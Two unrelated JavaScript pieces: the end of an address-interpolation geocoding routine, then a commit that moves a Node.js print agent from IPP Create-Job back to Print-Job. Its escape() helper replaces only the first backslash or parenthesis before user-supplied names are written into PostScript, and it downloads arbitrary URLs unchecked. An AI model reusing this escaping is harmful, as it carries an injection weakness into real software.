    var lt = Array.isArray(feature._ltohn)   ? feature._ltohn : feature._ltohn ? [feature._ltohn] : [];
    var rf = Array.isArray(feature._rfromhn) ? feature._rfromhn : feature._rfromhn ? [feature._rfromhn] : [];
    var rt = Array.isArray(feature._rtohn)   ? feature._rtohn : feature._rtohn ? [feature._rtohn] : [];
    var lp = Array.isArray(feature._parityl) ? feature._parityl : feature._parityl ? [feature._parityl] : [];
    var rp = Array.isArray(feature._parityr) ? feature._parityr : feature._parityr ? [feature._parityr] : [];

    var neighbors = {nlfrom: -Infinity, nlto: Infinity, nrfrom: -Infinity, nrto: Infinity};

    for (var i = 0; i < lines.length; i++) {
        var lfromhn = parseSemiNumber(lf[i]),
            rfromhn = parseSemiNumber(rf[i]),
            ltohn = parseSemiNumber(lt[i]),
            rtohn = parseSemiNumber(rt[i]),
            parityl = lp[i] || '',
            parityr = rp[i] || '';

        // no usable data at all
        if ([lfromhn, rfromhn, ltohn, rtohn].every(falsy)) continue;

        var start, end, side, paritymask, coords;

        paritymask = (address % 2) === 0 ? E : O;

        // check left side
        if (typeof lfromhn === 'number' &&
            address >= Math.min(lfromhn,ltohn) &&
            address <= Math.max(lfromhn,ltohn) &&
            paritymask[parityl]) {
            start = lfromhn;
            end = ltohn;
            side ='left';
            coords = lines[i].slice(0);
            return setPoint(address, start, end, coords);
        } else if (typeof rfromhn === 'number' &&
            address >= Math.min(rfromhn,rtohn) &&
            address <= Math.max(rfromhn,rtohn) &&
            paritymask[parityr]) {
            start = rfromhn;
            end = rtohn;
            side ='right';
            coords = lines[i].slice(0);
            return setPoint(address, start, end, coords);
        } else {
            if (typeof lfromhn === 'number' && Math.abs(neighbors.nlfrom - address) > Math.abs(lfromhn - address)) {
                neighbors.nlfrom = lfromhn;
                neighbors.nlf_pt = lines[i][0];
            }
            if (typeof ltohn === 'number' && Math.abs(neighbors.nlto - address) > Math.abs(ltohn - address)) {
                neighbors.nlto = ltohn;
                neighbors.nlt_pt = lines[i][1];
            }

            if (typeof rfromhn === 'number' && Math.abs(neighbors.nrfrom - address) > Math.abs(rfromhn - address)) {
                neighbors.nrfrom = rfromhn;
                neighbors.nrf_pt = lines[i][0];
            }
            if (typeof rtohn === 'number' && Math.abs(neighbors.nrto - address) > Math.abs(rtohn - address)) {
                neighbors.nrto = rtohn;
                neighbors.nrt_pt = lines[i][1];
            }
            continue;
        }
    }
    if (Math.abs(neighbors.nlfrom - neighbors.nlto) <= 4) {
        start = neighbors.nlfrom;
        end = neighbors.nlto;
        coords = [neighbors.nlf_pt, neighbors.nlt_pt];
        return setPoint(address, start, end, coords);
    }

    if (Math.abs(neighbors.nrfrom - neighbors.nrto) <= 4) {
        start = neighbors.nrfrom;
        end = neighbors.nrto;
        coords = [neighbors.nrf_pt, neighbors.nrt_pt];
        return setPoint(address, start, end, coords);
    }
};

function setPoint(address, start, end, coords) {
        var reverse = false;
        if (start > end) {
            reverse = true;
            // swap start and end
            var _;
            _ = end;
            end = start;
            start = _;
        }

        // a normalized number between 0 and 1
        var part = (address - start) / (end - start);

        if (reverse) coords.reverse();

        var distance = calculateDistance(coords);
        var unnorm = part * distance;

        for (var stop = 1; stop < coords.length - 1; stop++) {
            if (coords[stop][2] > unnorm) break;
        }

        var interp = (unnorm - coords[stop - 1][2]) /
            (coords[stop][2] - coords[stop - 1][2]);

        return {
            type:'Point',
            coordinates: [
                coords[stop][0] * interp + coords[stop - 1][0] * (1 - interp),
                coords[stop][1] * interp + coords[stop - 1][1] * (1 - interp)
            ].map(function(v) {
                return Math.round(v*1e6) / 1e6;
            })
        };
}

module.exports.parseSemiNumber = parseSemiNumber;
module.exports.calculateDistance = calculateDistance;

function calculateDistance(coords) {
    var a, b, distance = 0;
    coords[0].push(distance);
    for (var j = 1; j < coords.length; j++) {
        a = coords[j - 1];
        b = coords[j];
        distance += Math.sqrt(
            ((a[0] - b[0]) * (a[0] - b[0])) +
            ((a[1] - b[1]) * (a[1] - b[1])));
        coords[j].push(distance);
    }
    return distance;
}

function parseSemiNumber(_) {
    _ = parseInt((_ || '').replace(/[^\d]/g,''),10);
    return isNaN(_) ? null : _;
}

function falsy(_) { return !_; }
<|endoftext|>


<commit_before>var AWS      = require('aws-sdk');
var path     = require('path');
var config   = require(path.join(process.env.HOME,'config.json'));
var fs       = require('fs');
var tmp      = require('tmp');
var processx = require('child_process');
var when     = require('when');
var nodefn   = require('when/node/function');
var es       = require('event-stream');
var request  = require('superagent');
var ipp      = require('ipp');
var diacritics = require('diacritics');

function AgentClass() {

    var SQS = new AWS.SQS({
        accessKeyId: config.awsAccessKeys.global.accessKeyId,
        secretAccessKey: config.awsAccessKeys.global.secretAccessKey,
        region: 'us-east-1',
        apiVersion: '2012-11-05',
    });

    //============================================================
    //
    //
    //============================================================
    this.processMessage = function processMessage(message) {

        console.log('Processing:', message);

        message.printerUri = 'ipp://localhost:631/classes/ps';

        var filenames = [ nodefn.call(tmp.tmpName, { postfix: '.pdf'       } ),
                          nodefn.call(tmp.tmpName, { postfix: '.ps'        } ),
                          nodefn.call(tmp.tmpName, { postfix: '.custom.ps' } ) ];

        return when.all(filenames).then(function (filenames) {

            return when(download(message.url, filenames[0])).then(function () {

                return convertToPS(filenames[0], filenames[1]);

            }).then(function () {

                return prepare(filenames[1], filenames[2], message);

            }).then(function () {

                var jobName = message.box + ': ' + message.symbol + ' (' + message.language + ') - ' + message.name;

                return createJob(message.printerUri, jobName);

            }).then(function (jobUri) {

                return sendDocument(message.printerUri, jobUri, filenames[2]);

            }).then(function (jobUri) {

                return closeJob(message.printerUri, jobUri);

            }).then(function (jobUri) {
return; //DISABLED
                return nodefn.call(SQS.sendMessage.bind(SQS), {
                    QueueUrl: 'https://sqs.us-east-1.amazonaws.com/264764397830/PrintSmart_updateJobStatus',
                    MessageBody: JSON.stringify({ 'id': message.id, 'printerUri': message.printerUri, 'jobUri': jobUri })
                });

            }).then(function () {

                return when.map(filenames, function (filepath) { return nodefn.call(fs.unlink, filepath); } );
            });

        }).otherwise(function (err) {

            console.log('ERROR ==>');
            console.log(err);
        });
    };
}

module.exports = exports = new AgentClass();

//****************************************************************************************************
//****************************************************************************************************
//****************************************************************************************************
//****************************************************************************************************

//============================================================
//
//
//============================================================
function download(inputUrl, outputPath) {

    console.log('download: ', inputUrl, outputPath);

    var deferred = when.defer();

    var req = request.get(inputUrl);

    var stream = fs.createWriteStream(outputPath);

    req.pipe(stream);

    stream.on('finish', function() {
        deferred.resolve(outputPath);
    });

    return deferred.promise;
}

//============================================================
//
//
//============================================================
function convertToPS(filePath, outputPath) {

    console.log('convertToPS: ', filePath, outputPath);

    var deferred = when.defer();

    var ls = processx.spawn('pdftops', [filePath, outputPath]);

    ls.stdout.on('data', function (data) { console.log('stdout: ' + data); });
    ls.stderr.on('data', function (data) { console.log('stderr: ' + data); });

    ls.on('close', function (code) {

        if(code==0) deferred.resolve(outputPath);
        else        deferred.reject(code);
    });

    return deferred.promise;
}

//============================================================
//
//
//============================================================
function prepare(inputPath, outputPath, message) {

    console.log('prepare: ', inputPath, outputPath, message);

    var deferred = when.defer();
    var page = 0;

    var rStream = fs.createReadStream(inputPath, { encoding: 'utf8' });
    var wStream = fs.createWriteStream(outputPath);

    wStream.write('@PJL SET FINISH = LEFT1POINT\n', 'UTF-8');

    var transform = function (line) {

        if(line=='%%EndSetup') {

            line  = '%%BeginFeature: *Duplex NoTumble\n';
            line += '(<<) cvx exec /Duplex true /Tumble false (>>) cvx exec setpagedevice\n';
            line += '%%EndFeature\n';
            line += '%%BeginFeature: *Stapling Single-Portrait\n';
            line += '<< /Staple 3 /StapleDetails << /Type 1 /StapleLocation (SinglePortrait) >> >> setpagedevice\n';
            line += '%%EndFeature\n';
            line += '%%EndSetup';
        }

        if(line=='%%Page: 1 1') page = 1;
        if(line=='%%Page: 2 2') page = 2;

        if(line=='showpage' && page==1) {

            line  = 'newpath\n';
            line += '/Helvetica-Bold findfont 10 scalefont setfont\n';
            line += 'currentpagedevice /PageSize get aload pop exch pop 20 sub 200 exch moveto\n';
            line += '(SCBD PrintSmart - Copy printed ON-DEMAND) show\n';

            line += '/Helvetica findfont 7 scalefont setfont\n';
            line += 'currentpagedevice /PageSize get aload pop exch pop 34 sub 200 exch moveto\n';
            line += '(Copy ID: '+escape(message.id)+') show\n';

            line += '/Helvetica findfont 7 scalefont setfont\n';
            line += 'currentpagedevice /PageSize get aload pop exch pop 44 sub 200 exch moveto\n';
            line += '(File: '+escape(message.url)+') show\n';

            line += '/Helvetica-Bold findfont 12 scalefont setfont\n';
            line += 'currentpagedevice /PageSize get aload pop exch pop 58 sub 200 exch moveto\n';
            line += '('+escape(diacritics.remove(message.name||"Not Named"))+') show\n';

            line += '/Helvetica-Bold findfont 24 scalefont setfont\n';
            line += 'currentpagedevice /PageSize get aload pop exch pop 30 sub 440 exch moveto\n';
            line += '('+escape(diacritics.remove(message.box||"undefined"))+') true charpath 1 setlinewidth 0.0 setgray stroke\n';

            line += 'showpage';
        }

        return line + '\n';
    };

    rStream.pipe(es.split())
           .pipe(es.mapSync(transform))
           .pipe(es.wait())
           .pipe(wStream);

    wStream.on('finish', function () {
        deferred.resolve(outputPath);
    });

    return deferred.promise;
}

//============================================================
//
//
//
//============================================================
function escape (text) {
    return text.replace(/\\/, '\\\\')
               .replace(/\(/, '\\(')
               .replace(/\)/, '\\)');
}

//============================================================
//
// return: jobUri
//
//============================================================
function createJob(printerUri, jobName) {

    console.log('createJob', printerUri, jobName);

    var printer = ipp.Printer(printerUri);

    var options = {
        'operation-attributes-tag': {
            'job-name': jobName,
            'requesting-user-name': 'PrintSmart',
        },
        "job-attributes-tag": {
            'sides': 'two-sided-long-edge',
            'finishings': 'staple'
        }
    };

    return when(nodefn.call(printer.execute.bind(printer), "Create-Job", options), function (res) {

        if(!res || res.statusCode != 'successful-ok')
            throw res;

        return res['job-attributes-tag']['job-uri'];

    }).otherwise(function(error){

        console.error("Create-Job", error);

        throw error;
    })
}

//============================================================
//
//
//
//============================================================
function closeJob(printerUri, jobUri) {

    console.log('closeJob', printerUri, jobUri);

    var printer = ipp.Printer(printerUri);

    var options = {
        'operation-attributes-tag': {
            'job-uri': jobUri,
            'requesting-user-name': 'PrintSmart',
            'last-document': true
        }
    };

    return when(nodefn.call(printer.execute.bind(printer), "Send-Document", options), function (res) {

        if(!res || res.statusCode != 'successful-ok') throw res;

        return res['job-attributes-tag']['job-uri'];

    }).otherwise(function(error){

        console.error("Send-Document", error);

        throw error;
    })
}

//============================================================
//
//
//
//============================================================
function sendDocument(printerUri, jobUri, filename) {

    console.log('sendDocument', printerUri, jobUri, filename);

    var printer = ipp.Printer(printerUri);

    var options = {
        'operation-attributes-tag': {
            'job-uri': jobUri,
            'requesting-user-name': 'PrintSmart',
//          'document-name': title,
            'document-format': 'application/postscript',
            'last-document' : false
        },
        data: fs.readFileSync(filename)
    };

    return when(nodefn.call(printer.execute.bind(printer), "Send-Document", options), function (res) {

        if(!res || res.statusCode != 'successful-ok') throw res;

        return res['job-attributes-tag']['job-uri'];

    }).otherwise(function(error){

        console.error("Send-Document", error);

        throw error;
    })
}

//============================================================
//
//
//============================================================
function print(filename, message) {

    var printer = ipp.Printer(message.printerUri);

    var title = message.box + ': ' + message.symbol + ' (' + message.language + ') - ' + message.name;

    var options = {
        'operation-attributes-tag': {
            'job-name': title,
            'requesting-user-name': 'PrintSmart',
            'document-format': 'application/postscript'
        },
        "job-attributes-tag": {
            'sides': 'two-sided-long-edge',
            'finishings': 'staple'
        },
        data: fs.readFileSync(filename)
    };

    return when(nodefn.call(printer.execute.bind(printer), "Print-Job", options), function (res) {
        console.log("Print-Job", res);
        return res['job-attributes-tag']['job-uri'];
    });
}
<commit_msg>Rollback CreateJob to PrintJob<commit_after>var AWS      = require('aws-sdk');
var path     = require('path');
var config   = require(path.join(process.env.HOME,'config.json'));
var fs       = require('fs');
var tmp      = require('tmp');
var processx = require('child_process');
var when     = require('when');
var nodefn   = require('when/node/function');
var es       = require('event-stream');
var request  = require('superagent');
var ipp      = require('ipp');
var diacritics = require('diacritics');

function AgentClass() {

    var SQS = new AWS.SQS({
        accessKeyId: config.awsAccessKeys.global.accessKeyId,
        secretAccessKey: config.awsAccessKeys.global.secretAccessKey,
        region: 'us-east-1',
        apiVersion: '2012-11-05',
    });

    //============================================================
    //
    //
    //============================================================
    this.processMessage = function processMessage(message) {

        console.log('Processing:', message);

        message.printerUri = 'ipp://localhost:631/classes/ps';

        var filenames = [ nodefn.call(tmp.tmpName, { postfix: '.pdf'       } ),
                          nodefn.call(tmp.tmpName, { postfix: '.ps'        } ),
                          nodefn.call(tmp.tmpName, { postfix: '.custom.ps' } ) ];

        return when.all(filenames).then(function (filenames) {

            return when(download(message.url, filenames[0])).then(function () {

                return convertToPS(filenames[0], filenames[1]);

            }).then(function () {

                return prepare(filenames[1], filenames[2], message);

            }).then(function () {

                return print(filenames[2], message);

            }).then(function (jobUri) {

return; //DISABLED
                return nodefn.call(SQS.sendMessage.bind(SQS), {
                    QueueUrl: 'https://sqs.us-east-1.amazonaws.com/264764397830/PrintSmart_updateJobStatus',
                    MessageBody: JSON.stringify({ 'id': message.id, 'printerUri': message.printerUri, 'jobUri': jobUri })
                });

            }).then(function () {

                return when.map(filenames, function (filepath) { return nodefn.call(fs.unlink, filepath); } );
            });

        }).otherwise(function (err) {

            console.log('ERROR ==>');
            console.log(err);
        });
    };
}

module.exports = exports = new AgentClass();

//****************************************************************************************************
//****************************************************************************************************
//****************************************************************************************************
//****************************************************************************************************

//============================================================
//
//
//============================================================
function download(inputUrl, outputPath) {

    console.log('download: ', inputUrl, outputPath);

    var deferred = when.defer();

    var req = request.get(inputUrl);

    var stream = fs.createWriteStream(outputPath);

    req.pipe(stream);

    stream.on('finish', function() {
        deferred.resolve(outputPath);
    });

    return deferred.promise;
}

//============================================================
//
//
//============================================================
function convertToPS(filePath, outputPath) {

    console.log('convertToPS: ', filePath, outputPath);

    var deferred = when.defer();

    var ls = processx.spawn('pdftops', [filePath, outputPath]);

    ls.stdout.on('data', function (data) { console.log('stdout: ' + data); });
    ls.stderr.on('data', function (data) { console.log('stderr: ' + data); });

    ls.on('close', function (code) {

        if(code==0) deferred.resolve(outputPath);
        else        deferred.reject(code);
    });

    return deferred.promise;
}

//============================================================
//
//
//============================================================
function prepare(inputPath, outputPath, message) {

    console.log('prepare: ', inputPath, outputPath, message);

    var deferred = when.defer();
    var page = 0;

    var rStream = fs.createReadStream(inputPath, { encoding: 'utf8' });
    var wStream = fs.createWriteStream(outputPath);

    wStream.write('@PJL SET FINISH = LEFT1POINT\n', 'UTF-8');

    var transform = function (line) {

        if(line=='%%EndSetup') {

            line  = '%%BeginFeature: *Duplex NoTumble\n';
            line += '(<<) cvx exec /Duplex true /Tumble false (>>) cvx exec setpagedevice\n';
            line += '%%EndFeature\n';
            line += '%%BeginFeature: *Stapling Single-Portrait\n';
            line += '<< /Staple 3 /StapleDetails << /Type 1 /StapleLocation (SinglePortrait) >> >> setpagedevice\n';
            line += '%%EndFeature\n';
            line += '%%EndSetup';
        }

        if(line=='%%Page: 1 1') page = 1;
        if(line=='%%Page: 2 2') page = 2;

        if(line=='showpage' && page==1) {

            line  = 'newpath\n';
            line += '/Helvetica-Bold findfont 10 scalefont setfont\n';
            line += 'currentpagedevice /PageSize get aload pop exch pop 20 sub 200 exch moveto\n';
            line += '(SCBD PrintSmart - Copy printed ON-DEMAND) show\n';

            line += '/Helvetica findfont 7 scalefont setfont\n';
            line += 'currentpagedevice /PageSize get aload pop exch pop 34 sub 200 exch moveto\n';
            line += '(Copy ID: '+escape(message.id)+') show\n';

            line += '/Helvetica findfont 7 scalefont setfont\n';
            line += 'currentpagedevice /PageSize get aload pop exch pop 44 sub 200 exch moveto\n';
            line += '(File: '+escape(message.url)+') show\n';

            line += '/Helvetica-Bold findfont 12 scalefont setfont\n';
            line += 'currentpagedevice /PageSize get aload pop exch pop 58 sub 200 exch moveto\n';
            line += '('+escape(diacritics.remove(message.name||"Not Named"))+') show\n';

            line += '/Helvetica-Bold findfont 24 scalefont setfont\n';
            line += 'currentpagedevice /PageSize get aload pop exch pop 30 sub 440 exch moveto\n';
            line += '('+escape(diacritics.remove(message.box||"undefined"))+') true charpath 1 setlinewidth 0.0 setgray stroke\n';

            line += 'showpage';
        }

        return line + '\n';
    };

    rStream.pipe(es.split())
           .pipe(es.mapSync(transform))
           .pipe(es.wait())
           .pipe(wStream);

    wStream.on('finish', function () {
        deferred.resolve(outputPath);
    });

    return deferred.promise;
}

//============================================================
//
//
//
//============================================================
function escape (text) {
    return text.replace(/\\/, '\\\\')
               .replace(/\(/, '\\(')
               .replace(/\)/, '\\)');
}

//============================================================
//
//
//============================================================
function print(filename, message) {

    var printer = ipp.Printer(message.printerUri);

    var title = message.box + ': ' + message.symbol + ' (' + message.language + ') - ' + message.name;

    var options = {
        'operation-attributes-tag': {
            'job-name': title,
            'requesting-user-name': 'PrintSmart',
            'document-format': 'application/postscript'
        },
        "job-attributes-tag": {
            'sides': 'two-sided-long-edge',
            'finishings': 'staple'
        },
        data: fs.readFileSync(filename)
    };

    return when(nodefn.call(printer.execute.bind(printer), "Print-Job", options), function (res) {
        console.log("Print-Job", res);
        return res['job-attributes-tag']['job-uri'];
    });
}
<|endoftext|>